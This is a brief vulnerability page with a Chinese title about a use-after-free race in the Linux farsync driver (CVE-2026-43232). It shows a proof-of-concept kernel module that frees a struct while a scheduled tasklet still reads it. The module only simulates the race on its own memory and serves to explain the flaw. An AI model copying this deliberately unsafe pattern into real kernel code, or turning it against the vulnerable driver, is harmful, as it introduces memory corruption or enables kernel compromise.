Linux内核farsync驱动释放后重用漏洞CVE-2026-43232

/* * PoC Concept for CVE-2026-43232 * This code simulates the race condition between tasklet execution and device removal. * Note: Actual exploitation requires a specific environment with the vulnerable driver loaded. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/interrupt.h> struct fake_card { int data; // Simulating the fst_card_info structure }; static struct fake_card *vulnerable_card; static struct tasklet_struct tx_tasklet; // Simulate the tasklet handler (fst_process_tx_work_q) void tx_tasklet_handler(unsigned long data) { struct fake_card *card = (struct fake_card *)data; // Introduce delay to increase window for race condition mdelay(100); // Access the card structure (Potential Use-After-Free) if (card) { printk(KERN_INFO "PoC: Accessing card data: %d\n", card->data); } } static int __init poc_init(void) { vulnerable_card = kmalloc(sizeof(struct fake_card), GFP_KERNEL); if (!vulnerable_card) return -ENOMEM; vulnerable_card->data = 0x41414141; // Schedule the tasklet tasklet_init(&tx_tasklet, tx_tasklet_handler, (unsigned long)vulnerable_card); tasklet_schedule(&tx_tasklet); printk(KERN_INFO "PoC: Device initialized and tasklet scheduled.\n"); // Simulate the removal race condition immediately // In the real vulnerability, fst_remove_one() does kfree(card) here // without checking if the tasklet is still running. printk(KERN_INFO "PoC: Simulating device removal (freeing memory)...\n"); kfree(vulnerable_card); vulnerable_card = NULL; return 0; } static void __exit poc_exit(void) { tasklet_kill(&tx_tasklet); printk(KERN_INFO "PoC: Exiting.\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-43232 Race Condition");